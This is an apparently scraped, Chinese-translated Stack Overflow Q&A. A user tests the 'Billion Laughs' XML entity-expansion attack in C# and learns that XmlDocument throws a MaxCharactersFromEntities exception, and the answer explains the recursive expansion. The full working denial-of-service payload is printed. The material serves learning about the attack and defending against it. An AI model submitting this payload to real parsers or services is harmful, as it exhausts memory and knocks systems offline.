gpt4 book ai didi

c# - Billion Laughs Attack 是否应该在 C# 中运行?

转载 作者:数据小太阳 更新时间:2023-10-29 01:45:10 25 4
gpt4 key购买 nike

我正在尝试从 MSDN magazine page 中测试 XML 代码它说以下代码行将导致处理时内存使用量增加高达 3GB。

<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

当我尝试将该文本粘贴到 Visual Studio 中的 xml 文件时,它确实显示内存和 CPU 使用率都有所增加。但是,当我尝试将其放入文本文件而不是 XML 文件并使用 C# 加载它时,它没有任何影响。

更新:我认为 LoadXml 方法应该会产生影响,但我想那不是处理部分。当我试图得到第一个 child 时,它(即 c#)抛出了一个异常,告诉它 MaxCharactersFromEntities 被超出了。

更新:这也是我的代码:

using System;
using System.Xml;

namespace BillionLaughsAttack
{
class Program
{
//The file containing the billion laughs mentioned previously
//a txt file: Since an xml file causes visual studio to parse
static String xmlFileLocation = "./MyData/DeepXML.txt";

static void Main(string[] args)
{
String xmlContent = null;
System.IO.StreamReader sr;
System.Xml.XmlDocument document = new XmlDocument();
try
{
sr = new System.IO.StreamReader(xmlFileLocation);
xmlContent = sr.ReadToEnd();
//Load xml containing Billion Laughs Attack (this won't do anything!)
document.LoadXml(xmlContent);
//Proces xml by getting first child (this will cause an exception!)
String val = document.FirstChild.Value;
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
}
}

最佳答案

此攻击利用了易受攻击的 XML 功能。

通过XML解析器运行会递归展开实体,占用大量内存。
以纯文本形式阅读它根本不会做任何事情。

关于c# - Billion Laughs Attack 是否应该在 C# 中运行?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/16992536/

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com